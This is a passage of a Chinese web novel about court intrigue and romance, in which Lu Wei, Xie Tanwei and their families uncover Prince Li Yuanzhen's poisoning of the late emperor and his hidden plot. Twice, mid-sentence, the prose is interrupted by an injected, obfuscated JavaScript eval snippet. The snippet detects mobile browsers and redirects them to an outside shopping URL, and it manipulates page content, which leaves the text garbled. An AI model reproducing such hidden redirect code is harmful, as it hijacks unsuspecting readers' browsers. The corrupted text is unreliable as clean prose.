晏令白在极力压抑胸中翻涌,默然许久,才换出一口气,“那你可是又要说关于敏识的事?” 露微摇头,郑重言道:“非止谢探微,而是谢家。姚宜苏说,李元珍知道陛下谋篇布局意在修德,而他既不能在朝堂上置喙,便将手段用在了陛下任用的重臣家中,便是谢家,赵家,还有将军你,他要败坏三家的家德,再造其势,反德为刀。” 晏令白眼光忽一亮,心中实则是察觉的,“先前你阿兄之事,便为你所破,这谢家,怕是从二郎下手的吧?” “将军已经发现了?”露微顿时就松了一口气,“但姚宜苏不经手此事,只知杜石羽遣人接近了谢家二郎,并不知具体何为。不过将军还是可以设法提醒谢尚书,未必要说穿。” 晏令白叹息:“这段时日冬至不在,便是被我安排暗查此事,你放心。只是二郎心术不正,受人蛊惑,一味隐瞒,难保震慑不足,你要多为自己以后考虑才是。” 听到“以后”二字,露微忽一心虚,但又很快略过,“保宁坊既埋伏了李元珍的死士,便说明,他可能并非只有那些坏人家德的卑劣手段。将军有没有怀疑过,李元珍或许豢养了私兵?” 晏令白皱眉,复一叹息,“你的见识,原非锋芒,我不该拦,若早让你知晓,便不至于让你遇险。” 露微明白了什么,不禁凝视,“将军虽与露微相识不长,却已尽知露微往事,将军护我之心,不逊于家父,父母之心,何错之有?” 晏令白恍然浮现一个笑意,却在极短的一瞬,化为茫然,一顿,“那么,以你所见,姚宜苏救下你们,主动现身,所图为何?” 露微想了想,无法肯定,“他说当时杜石羽也在,他能将我们带走,必是先制服了杜石羽的,他,心思颇深。将军既为陛下筹谋良久,可也关注到他?” 晏令白是有所知的,因为谢探微提过太医署人事更张的事,然则,不过是佐证了他的思量: “他不过才被李元珍看中,却能深谙其道,今既自行暴露,便是对李元珍有所不满,趁机故意为之。先前,李元珍的党徒太常少卿孙严欲将咸京诸卫时症预防之事交予他办,却又领着他在敏识路过处张扬此事,看起来是意图在汤药里下手脚,影响都城戍卫,实际上却是向我们抛出了他,既能令我们捉摸不透,也能令他只能为李元珍效命,再无选择。” 露微听来深以为然:“他有如此心计,倒不像首鼠两端的人,况且对我陈言之时颇有底气,断非不能自决。我恐怕,李元珍枉自奇谋深算,却终究不能完全控制其人,他的不满定是因为受到了极大的威胁。将军,你觉得这个威胁会是什么?” 晏令白的神色却变得惊诧:“露微,这还需问?” 露微皱了皱眉,似懂非懂,“我?只是为我吗?” 露微只是不觉得,姚宜苏仅仅是为了她。 46.晦明 露微与晏令白还没说完,忽听院外传来呼唤,一声高过一声,“微微,微微……”——谢探微醒了。 五鼓早过,天已全明,露微也知这人该醒了,却不料这般夸张,只看晏令白的神情霎时尴尬,又不曾想,起身迎到院中,谢家父母竟也跟在后头。 真是热闹。 “微微,我都知道了!你怎么不早点叫醒我?他有没有欺负你?” 谢探微完全忘形,先是紧紧抱住了露微,又对着露微旁若无人地上下查看。露微再是咬牙瞪眼地示意都不起作用,忽一下被他握住了小臂的伤处,吃痛闷哼一声。 “伤着了?!”谢探微吓得连忙松开手,只见露微袖上渗出血迹,复是一惊,“给我看看!” 露微刚刚更衣时连乔氏都瞒过了,只找了块帕子粗粗缠住,都功亏一篑。而谢探微一味只要掀开她的袖子查看伤势,这么一惊乍,连前后的尊长都拥了过来。 “你这孩子怎么不说啊!什么东西扎这么深啊?”李氏最先问起,也来得最快,从谢探微手里扶过露微的左臂,随即竟直接让身后的谢道元去请医人。 “不是刀剑利器,是怎么伤的?”晏令白也接着追问,神色尤为急切。 “是……”露微大为窘迫,虽见谢探微满脸愧色,也还是想踢他一脚,“可能是钉子吧,我不知道,当时……当时太乱了。没关系,是小事,已经不疼了。” “怎么可能不疼?!” 眼见已经遮掩过去了,偏这谢探微又上头了,说着竟将露微横抱起来,堂而皇之地走进了屋子。 露微浑身紧绷,只觉自己空剩了一副躯壳。 …… “这伤口很深,恐怕钉子再长些,就把这小臂扎穿了,娘子今后务必小心为是,万一伤到筋脉,定会影响动作的。” 医人来得倒快,只是又说了这番话,露微自己倒无所谓,却越发经不住众人的担忧。她很不习惯,亦深怀愧疚。 然而,倒是晏令白替她解了围,先以议事为名请走了谢道元,李氏见状,虽有迟疑,也随后离开了。 露微瞬间就冷静了。 “你刚刚是没看到我给你使眼色吗?你不要脸我还要脸呢!”瞥了眼包围自己的谢探微,露微言道。 “微微,等这件事了结,我们就成婚吧!” 其实谢探微进门后一直没出声,但露微竟不料他在想这个,再看他,忽而心生不忍,“可这件事有多大你不知道吗?什么时候能了结?” “那你是急,还是不急?”谢探微轻轻拨转露微的身躯,眉头压得很低,竟有几分严肃,“我急!昨天若只有我,一半的时间就能结束,可你在,我便分心了。阿父对我说过,杀敌的时候最忌分心,所以,我怕了!” 原来,即使自己躲到了一旁,也还是令他分心了。 “微微,你千万千万不要怪自己,比起分心,我更怕你给自己定罪,因为这样,你就会不要我了!” 露微一惊,铺天盖地的羞惭随之而来,“你如何知道我会这么想?”竟作痴痴一问。 但谢探微并不停顿:“我是武官,手上必是沾了血的,可有了你后,我就怕让你看见。一直觉得咸京太平,或许也没这个机会,可昨天……你那么害怕!怕什么便自会远离什么,况且你还竟对我说,是你险些要了我的命。微微,你真是这么想的吗?!” 我不怕血,但真怕要了你的命。 露微心中如此默道,没有宣口,“婚事,你是不是又对你父母提了?” 谢家父母种种态度,看来自是令人受宠若惊,然而,露微更多是惊。不及谢探微答,她又问:“我瞧着,你和家里,是不是缓和了许多?尤其,是你父亲。” 谢探微笑了,虽淡,却十分真切,“近日相见,父亲确实没再责备。但我没提婚事,反正我不从谢家娶你,再说也是同阿父说。” 话端不期然转到这上头,露微又无奈了,还是绕开,“手疼。” 谢探微一慌,忙抬起露微左臂细看,“看你还逞强!” 露微一笑,倚进了他的怀里,“谢探微,不许凶我。” “好,好,我只疼你,不凶你。” …… 李敬颜虽离了露微的屋子,只见晏令白与谢道元真是有事相商,便还是没走,就坐在院中等候。她想来昨夜的事虽然骇人,再一回望屋子,却忍不住时时发笑。 “郡主劳心了一夜,竟还不困倦?”侍娘叶新萝一直守候在侧,猜到李氏心思,笑着问了句。 李氏也无避讳,含笑说道:“总见大郎内敛,从不在我们面前表露什么,但自从有了露微,什么话都说得出来,方才在院里还那样,女孩子都脸红了,他也不觉,连我也不好意思。” 叶新萝一想又笑:“岂止是郡主呢?奴婢还见家翁也尴尬得紧,把脸转到一旁,手都不知怎么放,幸而赵太傅不在,否则还不赶了大郎出去?不过倒也可见,赵娘子确是一位良配。” “何止呢?”李氏忽而一叹,再三回望屋子,心头细细琢磨着什么,“前些时候,叫你清算家资的事,办得如何了?扬州那边可有回话来?” 然而,也不及叶氏回话,谢道元回来了,身侧并行的竟还有赵维贞。李敬颜立马站了起来,叶氏见状,领会主人心意,便转向屋子,向里头传了话。 屋门很快开启,谢探微略显慌张,而露微小睡才醒,见到院中情形,不由暗暗皱眉。 这一日来,真是破天荒。 “父亲。”露微自先向赵维贞行了礼,转向谢家父母,却只是被李氏拦下,低了头,不知说什么。 谢探微此刻再不冲锋在前了,僵硬地行礼,赵维贞却并不看,拉过女儿,面上似带着气,“谢公子的礼太重了,老夫受不起,还是留着给你自己的父母吧。” 露微原以为父亲是要对自己说什么,这一下谢家三口人俱一尴尬,她更是心抖了一抖。 “阿耶这是干什么?”露微凑近低声道,手指抠着衣裳,脸上比谢探微当着父母抱自己还烧得慌,况且,赵维贞自来端正持重,何时人前冷言冷语了? 不过,赵维贞并不理会,只将带来的氅衣给女儿披上系好,然则这间隙,原本如泥塑般定在地上的谢探微却猛一踉跄,跪倒在赵维贞的身前。 露微一大惊,眼睛震颤,忽瞥见谢道元故作镇定的脸,一下子明白了——平地踉跄,父亲所踢。 李氏嘴角的暗笑亦是佐证。 “谢公子又是做什么?”赵维贞略拂去一眼,将面孔更是扬起,“君子有伦,男儿有状,唯天地君亲师可跪之,但老夫如何不知,自己是公子的何人呢?当不起,当不起!” 自然现在并无关系,可赵维贞如此说,却不避开,也不叫谢探微起来。露微提着心思,似乎能察觉出什么。 “太傅恕罪容禀!” 露微正想如何替谢探微解围,不料,他自己先开口了,身躯不再僵硬,神色亦不见了惶恐: “太傅位尊而德厚,晚辈位卑且言轻,原无资格面见太傅,然则,晚辈有幸……” “你有何幸?”赵维贞打断了他,语态严谨,似是提点般,却又像是警告。 露微一时难辨,也觉得谢探微根本还没说到重点。 谢探微仍从容,再启言前先俯身一拜:“室家之幸。” 四字铮铮,令人瞠目。 然而,独赵维贞一副平静之态。 …… 赵家父女已离开片时,但谢探微还跪在地上,李氏便来扶他,却只见他额上虚汗淋淋,体谅着道: “人都走了,你起来吧,万事还需好好计议。”又瞥了眼一旁的谢道元,但不知说什么。 谢道元略咳一声,表情也有些不可捉摸,垂目看向儿子,“你不明白?” 谢探微抬头仰望父亲,当真是懵的,“啊?” “唉……”谢道元长叹,展了展衣袖,敛束形容,“我还有事,要入宫一趟,你,送你母亲回府吧。” 话音未落,人已走出了院子,李氏一头雾水,少不得还是先拉儿子起来,“算了算了,眼下不急。” 谢探微稍缓了缓,“那父亲,可同意我先前所说的了?” 李氏脸色一凝,既明白儿子所指,也忽是想通了什么关窍,“恐怕,不能如你所愿了。” …… 一回到赵家,赵维贞便叫露微先去休息,可露微只拉住父亲,不必多说,眼中流露之意便让赵维贞懂了,沉沉一叹: “好。” “那请阿耶也将长兄唤来吧?” 赵维贞似已有思量,没有拒绝,只道:“你已悉知大事,可还有些事,连谢尚书和晏将军也尚且不知,阿耶会告诉你,今后都再不瞒你,只是你要做什么,务必先告知阿耶。” 露微心里一沉,还会有什么秘密呢?却又只是父亲一人知晓,难道是家事?定是与自己有关,也与大事相连,那么——“未必是关于的姚宜苏的事?” 想到这个名字并不难,毕竟昨天若不是姚宜苏出现,露微或许还会被其他理由继续瞒住。 然而,真的是事关姚宜苏的,赵维贞很快向女儿点了头。 很快,露微随父亲去了书房,长兄也随后到了。赵启英自返家,更不常露面,既没发现父亲一夜未归,看到露微也在时,想得却还是先前的事。 露微看了父亲一眼,心知这父子间隔阂经年,不是一时能解,但也正是父亲从不让儿女分担,过于谨慎保护,才日积月累,横生事端,当必然先要道句歉: “阿兄,受委屈了。” 露微先前去吏部送饭的事,虽不至于让赵启英一下认了这个妹妹,却也是有些作用的。他琢磨着父亲的神色,又端量露微话中意思,平和地开了口: “我并无委屈,有事就说吧。” 露微一笑,把话端交给父亲。 赵维贞经历昨夜,心境大有改变,而先前数度责备赵启英,也并非没有丝毫自责,“多年来,为父是对你有所亏欠的,朝廷将有大事,你也该知道了。” 接下来许久,赵启英的神情从惊诧到震惊,和露微知晓时大抵一样,但又因面对的是父亲,强撑镇定的面孔上,一丝丝不忍渐渐在眼中积聚,涨得眼眶通红。 露微都瞧得懂,亦能感到,赵启英到底并非什么心术不正的人。 “那父亲……”虽紧接着父亲落下的话音开口,却已不能自控地发颤,眼睛又向露微看来。 “阿兄不要害怕,也不能害怕。”露微向赵启英微一点头,“你只要坐得住,旁人便不能伤你分毫。” 赵启英气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13707129|138508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息初定,已露出审度的神色,目光在露微身上停留片刻,话还是对父亲说的: “父亲是看着那姚宜苏长大的,我亦与他自小认识,竟不料他有这样的心性,他如今虽为人所用,他想要的,不能依他。” 赵启英竟把话端落在了自己身上,露微不期然,心头泛起暖意,但也同时被提醒了,问道:“阿耶,你刚刚说还有些关于姚宜苏的事,是什么?” 赵维贞未语先叹,但非无奈,“你们所知,姚家先父姚炯当年是因看疗先帝不力,被问失职之罪,病死狱中。然则,不是病亡,是被——李元珍所害。” 露微愕然,岂料姚家竟也早就牵涉了进来,“那姚宜苏不就是在效命杀父仇人?!他未必至今不知?” 赵维贞缓缓摇头,“二十年前,我正担任大理正之职,凡有呈送大理寺的要案,我都有审问之责,却也只是参议,无权定夺。我初观姚家案情,虽是看疗无功,但先帝原是多年积弱,痈毒发作,创伤溃烂,倒也不能全部怪责医官。” “李元珍既早有悖逆之心,是不是那时就动了什么手脚?却被姚伯父所知,故此陷害,以图灭口。” 露微是想,其中关联只能是如此,先帝病重,医官定是日夜守候的,李元珍想要趁机谋害,也难避开医官。 果然,赵维贞肯定了这个猜测,继续道:“李元珍虽是先帝手足,但序齿最幼,比今上还小几岁。可就是当年未及弱冠,却早已手段狠厉,天资聪颖,也都用了在不该用的地方。” “他素有贤名,雅善诗书,但听闻喜怒不形于色,大约胸中城府,不知其深。”赵启英入仕有年,多少都是听说过一些的。 赵维贞亦点头,道:“我辨案情,该非重罪,趁便探望了姚炯,劝他安心。可他只是屡屡托付我照料家中妻儿,那时姚宜苏才六岁,二郎尚在母腹。我先也不解,直到他悄悄塞给我一包药渣,就正是先帝的用药。他言这药渣与他所处的药方不一致,变了一味药,改了药性,不能治疗痈毒,反而激发毒性,以至先帝猝然驾崩。” 露微边听边思,联系前后,忽然想起了一个关联:“先帝用药必是慎之又慎,李元珍能动药方,肯定早在太医署有帮手。刚刚晏将军同我说了一个人,太常少卿孙严,太常寺管辖太医署,阿耶可听说过此人?” 赵维贞眼神一抬:“正是此人,他亦是医官出身,就在先帝驾崩之后,竟弃医为宦,二十年来数度升迁,不是科举出身,能坐到如今位置,岂是他一人之力?而且,我事后查知,每每孙严殿前备职之日,皆为李元珍入宫侍疾之时。” 露微不觉倒吸了一口凉气,“姚伯父可知真相?” “他一觉用药不对,便被问罪下狱,只知关联不小,定有性命之忧,故而才那般托付。果然不到几日,便被说是突发心病而亡,我还是到姚家奔丧之时才见了尸首。”赵维贞说着一叹,面上流露许多遗憾之意: “当时我仅有一包药渣,算不得什么证据,就算有所怀疑,也是孤掌难鸣。况且,那几年朝廷苦于北境边患,陛下初临宝位,根基未稳,分心不得,恐内忧外患齐发,国无宁日。” “这么说,陛下也早就知道李元珍有弑君之举,那陛下为何还留他到今日呢?北患是开和八年就平了啊!” 露微听得着急起来,赵启英瞧她一眼,道:“你不知道,李元珍早年封号是雍王,是先帝留下遗诏,改封诸王,才变成如今的楚王。开和八年,他早就去了南营州封地,父亲又说证据不足,如何动他呢?当今陛下崇礼修德,他是宗亲长辈,大约更是无法轻动。” 这是露微第一次听赵启英好好同她说话,倒有些不习惯,却也听懂了,先帝也忌惮李元珍,若按雍王封号,封府就在咸京相邻的雍州,而楚地却是千里之遥了。 赵维贞对儿子一颔首,继续言道:“然则,李元珍既察觉灭口姚炯,便也知自己有所暴露,因此也未能再对当时还是太子的陛下动手。若真成事,陛下当时尚无子嗣,这李元珍按辈分,按出身,自该是即位人选。” “那姚伯父也算是对陛下有功,可姚宜苏如今竟为仇人所用!阿耶既与姚家交好,为何不早些说明呢?” 赵维贞深深叹息,目露愧色:“这是他父亲的遗愿。姚炯知我必要详查,便求我不要再让姚家牵涉进来,保全他们孤儿寡母平安便是。我也如此想,事关重大,朝不保夕,自有我一力承担,不当让你们涉险。可到如今,竟是为父错了。” 露微至此终于全部明白了,父亲从前日夜奔忙,并不是有心疏忽儿女家事,而竟是孤军奋战,替他们守着一片太平天地。 然而,赵维贞只苦涩一笑,看向女儿:“二十年前,我只有开明一子,还不曾遇到你娘,后来有了你,我便去姚家定了婚约。起初是想,姚家孀母幼子,家道艰难,两家既交好,联姻也是帮衬。原也不想让你早嫁,可你……这亦是为父之过。” 露微早是满心不忍,怎听得父亲连连道歉,起身走去,跪倒膝下,“阿耶,这不能怪你,是我自己愿意的!从今往后,阿耶再不可如此自苦,凡事都要同我和阿兄说明,共同分担才是!” 赵维贞眼中闪着泪光,抬起颤抖的手揽过女儿,无言。 赵启英亦早就起身上前,步子顿在露微身后,两拳紧握,强自压抑,面上是清晰的痛悔。 47.弦上 谢二郎自受到晏令白的警告,终日私心惴惴。他实在没想到,自己唯是那么一次在外泄愤,还是背着人的,竟也被晏令白所知。而晏令白的态度更是向着赵露微的,也让他颇是忌惮。 然则,不安也好,忌惮也罢,其中却并无几分悔意。 而刚安分了没几日,他又要出门之际,却忽被父亲叫去劈头盖脸一通怒斥。虽当真没提晏令白所言之事,却直指他胡乱结交,败坏门风,最终罚了他禁足思过,连房门都出不得。 可思什么过,他亦想不通,只是从早到晚对着小奴宁英发脾气。这日便见宁英又送饭进来,抬手就全部打翻了。 “二郎就忍忍吧。”宁英一边跪地收拾,一边也只能劝,“依小奴看,二郎今后还是谨慎些,那晏将军的一句话,堪比家翁,又更胜家翁,二郎怎么拧得过?” 谢探隐愤意难休,一掌拍在案上,“他再怎么都是外人,未必我家还轮到他做主?”却又忽一顿,眨了几下眼,“前两日闹了一夜,阿耶阿娘都去了将军府,你知道是何事吗?” 谢二郎就是自那夜后被禁足的,而且当时动静不小,宁英自是有所听闻的,回道: “我听叶娘那边的婢子说,好像是大郎和那赵家小女出去游玩时遇到了歹人,赵女还受了伤,家翁和郡主甚为关切,也惊动赵太傅了,所有人都去了将军府呢。” 不打听还好,一听这个缘由,谢探隐更是气不打一处来,“亲事未定便私约出游,指不定什么逾礼的事都做了,阿耶那样严谨刻板的人,竟能放任,还关切?!我就只是出门逛逛,他便对我斥骂禁足,我有何过?!” “二……二郎,你声音低些!院里还有旁人守着呢!”宁英惊的浑身发颤,既为主人揪心,也怕自己落个乱传话的罪名。 谢二郎瞪着眼睛,直呼气,根本无法平静,捏紧拳头又往案上一捶,“所有人都向着谢探微,凭什么?!凭什么!” 宁英见此状,虽怕得很,却又难免想着他的处境,自到咸京,确实是极不得意,便为他心酸,等他缓了缓,劝道: “二郎先消消气,这家里不是还有大娘子么?从前在扬州,大娘子虽嫁了人,也是时时关顾二郎的呀!” 长姊? 谢二郎倒是不曾想过,也就是因为到了咸京,地隔南北,通讯不便。然则,这也是提醒了他,忖度道:“从前,阿姊与谢探微也算亲近,他同阿姊说话可比阿娘多。” “可大郎长久在外,究竟还是疏远的。过去三四年,大郎都不回家,一封家书也没有,大娘子也不曾多提。” 这也是实情,谢二郎愈发有了些主意,竟一扫脸上阴霾,笑了,“去拿笔墨来。” …… 陆冬至回来了,算足前后,将将十天,比预计的日子快了不少,只是风尘赶路,人消瘦了一圈。谢探微一直记挂,便想跟着陆冬至一起去见晏令白回话,却被撵了出去。 便在院中等了大半时辰,才见陆冬至出来,可这一相视,却不及他先开口: “将军都告诉我了,你可有受伤?露微呢?吓坏了吧?” 谢探微扶住陆冬至两肩,边细看边道:“我不要紧,微微却是伤着了,是我之过,只是太傅接她家去了,这两天我也没见。先说你吧,究竟何事?来去这么急,累不累?” 陆冬至办的正是谢二郎的事,最不能告诉谢探微,而又见他经历了一场凶险,还能牵挂自己,心情复杂又感动。 “你知道的,我没什么本事,能办的都是不关紧的小事,你就别问了。那露微可伤得重么?她父亲不会因此责怪,打你了吧?” “别这么说自己,你可不差。”谢探微皱眉一笑,想起幼时在甘州军营,两人但凡犯错受罚,回头都是这样彼此关切,甚至是乱担心,“太傅是何人,岂能动手呢?” 说着,思绪还是落在露微身上,“我得想办法去看她。” 然而,话音未落,却被另外的声音接上了—— “不用想了。” 谢探微惊觉转身,大喜过望,“微微!你怎么来了?手还疼吗?怎么不在家里歇着?” 露微自然不是白来的,可这话却怪,一笑:“你是要见我,还是不想见我?”目光又扫到后头的陆冬至,“冬至,你可回来了,贤儿问了我几次呢。” 陆冬至原不想打扰他们,却一听贤儿的名字,神色一愣,上前两步:“她,她问我?问我……什么啊?” 露微原也不知陆冬至出远门了,但最初知道并不是那日晏令白提起,都是杨淑贤来家里看她,还说了城门偶遇的事。 “就问你做什么去了,我也不知,又说,那日她长兄也在,说你行礼时右手搭在了左手上,这也能错?” 陆冬至自也没发现自己搭错了手,脸瞬间涨红,解释不来,脚步开拔,一眨眼就溜走了。 露微大为奇怪,看着背影又唤了两声,却不见谢探微已被冷落多时,一下被拽了回来: “他连日赶路才回,你让他歇歇吧。快和我说说你,怎么自己跑来了?太傅知道吗?伤怎么样了?” 目下早已不同,露微也非专程为谢探微来的,只一笑,抬起左臂任谢探微看,道: “别担心,我是换了药才来的,不疼了。阿耶回去又和我说了些要事,我想我可能找到了一些办法,所以来和将军商议。” 谢探微正放下露微的衣袖,一听目露忧色:“微微,你既已悉知大事,便要让我更加安心才是,我不想让你涉险,若有需要出谋划策的,我就向你请教,可好?” “傻!”露微又抬起左手在这人脑门上弹了一下,“我可不就是来商议谋划的?未必,我还有带兵护驾的本事?或是能舞刀弄剑?这个我自不同你抢。” 谢探微虽吃痛,摸着额头,只是傻笑,“那,下官请教赵学士,是何谋划?” 露微敛去笑容,正色道:“釜底抽薪。” …… 苍梧山形的假山庭院,时将春暮,落红飘零。 “杜石羽,是你动的手,还是谢探微?” 李元珍的话同一片桃花同时落在姚宜苏的耳畔,然而话音却不如落花一般淡然。 “杜石羽不过就是仗着早年跟随大王,又熟知赵家内情,这些,姚某亦能为大王谋,况且,大王更知,出了此事他必得偿命。大王如今该想想,保宁坊的那些尸首,会给大王带来什么。” 李元珍脸颊微动,目光拂来阴寒,“那二人是如何得知保宁坊的?你又为什么要放他们走?” 姚宜苏一笑,“我并不知他们如何找到,放人,是因为,纵然他们死了,我得不到赵露微,大王亦不能成事。此事的根源,在于杜石羽狂妄,而大王失察!” “你放肆!”李元珍猛一拍案,身躯随之半起,却终又坐了下去,“姚宜苏,你只是一个医官,记好自己的身份!” 姚宜苏一直端坐,至此也只是深吸了口气:“其实大王不必与我剑拔弩张,实该庆幸,大事不必等太久了。大王在暗中看着他们,他们也在看着大王,明明暗暗,其实都是明着,何不借此事,彻底挑明也罢。” 这话倒让李元珍泛起笑意,“你竟在催我?想让我情急之下,为你所迫,或是,你其实早已反戈,是在和我演戏?” “太常少卿孙严,亦是大王的人吧?”姚宜苏舒了舒衣袖,边掸去肩上的落瓣,说得随意。 李元珍目光略一停顿,“怎么?不喜欢我的这个顺水人情?” “我不想和大王打哑谜,不管是顺水人情,还是顺水推舟, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13719986|138508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我已绑在大王这条舟上,我之进退,便是大王之胜负!” “你——”李元珍觑眼细细端详起来,最终却没再说下去,一招手,叫来了平素贴身跟随的一个侍从,一番耳语。 姚宜苏每来都看这人站在一侧,李元珍所有的谈话他都能听见,“大王既对心腹之人有所吩咐,那必是要做心腹之事了吧?” “我只是让他去把保宁坊处理干净,该怎样就怎样。”李元珍好似诚恳,可又颇是玩味,便似也不想掩饰。 “二十年弯弓,当不止一箭,太平地藏甲,岂堪堪十人。”姚宜苏笑道,语气如同吟咏了几句赞扬春天的诗。 …… 谢探微没听到陆冬至的事,但再随露微去见晏令白,倒是没被赶出去。只是却听得他心惊胆战,更不可思议。 “太傅因为姚家旧故便为你定下亲事,为什么一定是姚宜苏?你与他家二郎的年纪不是更相仿吗?” 露微只看谢探微刚在议事时就阴沉着脸,还以为他憋着个大主意,却不料开口第一句竟是如此怪异,细品了品,明白了,一笑: “兄弟有序,你没成婚,你弟弟不也没着落么?若按年纪,姚宜苏是君元十年二月十六生人,你是十一年五月十五,差不了多少,如此,你我也不相仿啊!” “记……记得这么清楚啊。”谢探微一时尴尬,不知小心思已被看穿,撇了撇嘴,不敢直视,低声又道:“我只是觉得,如果当初定的是姚宜若,你一定不会吃这么多苦。” “可若是他,我怎么能认识你?”露微舍不得逗他了,将本就相携的手更握紧了些,“别孩子气了,说正事。” 谢探微略一挑眉,心里受用,冒出些得意,一点头:“其实,我一直未想通李元珍为何用姚宜苏,如今有了姚家冤案,也算有个解释。二十年了,李元珍是想故技重施,左右姚宜苏并不知道冤案。预防时症的汤药可控制咸京诸卫,姚宜苏则能够接近陛下,无论二者选一,还是都选,皆有胜算。” 露微自也知晓,可心里仍有疑问,“这些自是可以防备的,我只是至今还不知,姚宜苏说他只要自己赢,是什么意思?他既上了李元珍的船,还能独善其身不成?” “他不会赢,我不让!”谢探微岂是没有想过这话,更知道姚宜苏目的在露微,“微微,这不是一件需要费心的事。” 露微承认是这个理,但今天商议的就是姚宜苏的事,也脱不开,“我只是担心,姚家其他人受他的株连之祸,可想来他也不至于连这一点都想不到。” 谢探微忽一笑,倒先自宽了心,“反正赵学士不是有釜底抽薪的办法么?备我万全之策,赌他弦上之箭,足矣。” 足矣。 露微抿唇一笑。 两人说话间已走到前院,谢探微本是送露微出府登车,但见分离在即,又不舍起来,可正要说些什么,门侧阍房走过的一个人,先将露微的目光引开了。 “那不是王氏的婢女么?怎么会在这里?”露微还以为看错了。 谢探微倒还不及和露微说起过,解释道:“那日去保宁坊之前在街上遇见你,本是阿父让我去接她的,到底算个人证,暂在府上帮杂。可后来……阿父就让别人去办了此事。” 露微不禁惭愧,“你下次有正事就早点说,我不会耽误你的,对不起。” 谢探微只是垂目看她,眸色深深,“那日但凡差一点,我没看见你,或是我没管你,我这辈子也就到那天为止了。” 露微无言,眼睛发酸,倾身抱住了他。 谢探微立刻顺势将人环紧,一手轻轻按着她的头发,“微微,你好一日,我便能多活一日,我没有你聪明,可你不能跑得比我快,千万不能,答应我好不好?” “好,好。” 48.道合 “你确定他看了那封信?当真没回?” 露微所思釜底抽薪之法,便是告知姚宜苏他父亲冤案之事,望他迷途知返,也能断了李元珍的臂膀。于是,那日与晏令白商议之后,她便借向杨淑真送贺礼为由,请贤儿带了一封信去姚家。 然则问起结果,贤儿却只是摇头:“我是为了阿姊才去主动找他,亲自当面转交,可他就是没反应啊。阿姊究竟写了什么?你与他还有什么话可说?” 露微自然不能张扬信的内容,也正是因为贤儿知分寸,才敢托付,“算了,与你无关。”想了想,赶紧岔开话题,“淑真身体如何?已足四个月了吧?” 杨淑贤也倒没追问,先一笑,又一叹,才道:“在他家倒是不担心医药,只是长姊体格柔弱,自发现有孕,吃什么吐什么,反倒瘦了。幸而现在过去了,一切都好。你是不见,我姊夫只要不上职,时时就围着她转,无微不至,连我去了都插不进话,真是惹人羡慕。” 露微虽不能去探望,但深解他夫妻二人的情状,实在可以想见,欣然一笑,忽又想起另一桩来,“那兰儿现在是谁在照料?” 淑贤知道露微必问,回得也快,“姚宜苏的乳母马氏看着呢,她是金氏的母亲,兰儿的亲外祖母,不会苛待兰儿的。我问了她,她还说姚宜苏也十分肯关顾,所以,你就别操心别人家孩子了。” 马氏是华氏老夫人的贴身侍娘,但心地不似华氏狠厉,从前背着华氏也肯尊重露微。露微还记得,马氏曾因她十分善待兰儿,还哭着感谢过她,究竟算个慈心的人。 “那就好。” 好——又能好到什么时候呢?如此杀父之仇也不顾,姚宜苏究竟想干什么? “对了,再同你说件事,你可不许先急!” 一时走了神,露微都没听清这话,只见淑贤将她的脸捧转了过去,“你说什么?” 淑贤眉毛高挑,先噗呲一笑,“如今我长姊他们算是圆满了,我阿耶就开始操心阿兄了。你也知道,他跟你阿兄同岁,可你阿兄儿子都七八岁了,他连婚事都没影子呢。阿耶思来想去,你猜是看上谁家啦?” 既如此问,便应该是露微本就认识的,但赵家和杨家从前只是姻亲相连,倒不算深知底细,露微没想到哪家相关的,“难不成是朱家?可朱家没有女儿了,就一个弟弟,其他,猜不到。” “就是——”淑贤忽而凑近,对着露微耳畔,“你家啊!” “啊?!”离得近,声音又大,露微只觉耳朵一震,浑身跟着一跳,“再乱说一句赶你出去!” 淑贤一点也不慌,抱起双臂,看戏一般,“我不但没骗你,而且这还得怪你自己!” 露微不知怎么心虚起来,但又自觉无错,“解释一下。” 淑贤还是不急不慢,扬声一叹,吃了口茶才道来:“你可还记得那把伞?病成那个样子了还记得叫我把伞带回去还给阿兄!那日就正好被阿耶瞧见了,因而问起阿兄来,阿兄就照实说了。后来阿耶又前后问了阿兄多回,阿兄倒都赞你聪慧明理。前两日,阿耶又把我叫去了,问你家可给你定亲了,我知道没有,也便才反应过来,阿耶竟是这个意思!” 这还真是……只能怪自己出了风头。 露微愣了半晌,一时只想,自己什么过往杨家一清二楚,在杨家寄居时又干出了擅闯国子监的事,实在是不堪。 望见露微失神,杨淑贤不免轻轻拍了拍她,却道:“阿姊,谢家为何至今不来下聘?我上次激了谢探微一回,他到底怎么说?他再不来,我就叫阿兄把你抢走了!” 说起来,露微一直都没在意过谢探微何时下聘,起初是因为父亲态度不明,如今则是大事横亘,多生枝节,她便更添了许多茫然。 不是想放弃,竟是一种似有却无,若隐而复现的琐碎之感。 “他,会来的。” …… 离上回踏入东宫崇文殿,已经过去二十天了,但无论中间发生了多少事,露微都只能藏于胸间。也因而,这时再面对小太子李衡,情绪里也多了一层顾虑。 “赵学士,我父皇病了,前两天去紫宸殿,他咳嗽得很厉害,后来便没再让我去了,我很担心。” 才到辅教的侧席坐下,李衡便从殿上跑到了露微身边。父亲还未散朝过来,殿内也没有旁人,她闻言心软,握住了李衡的手。 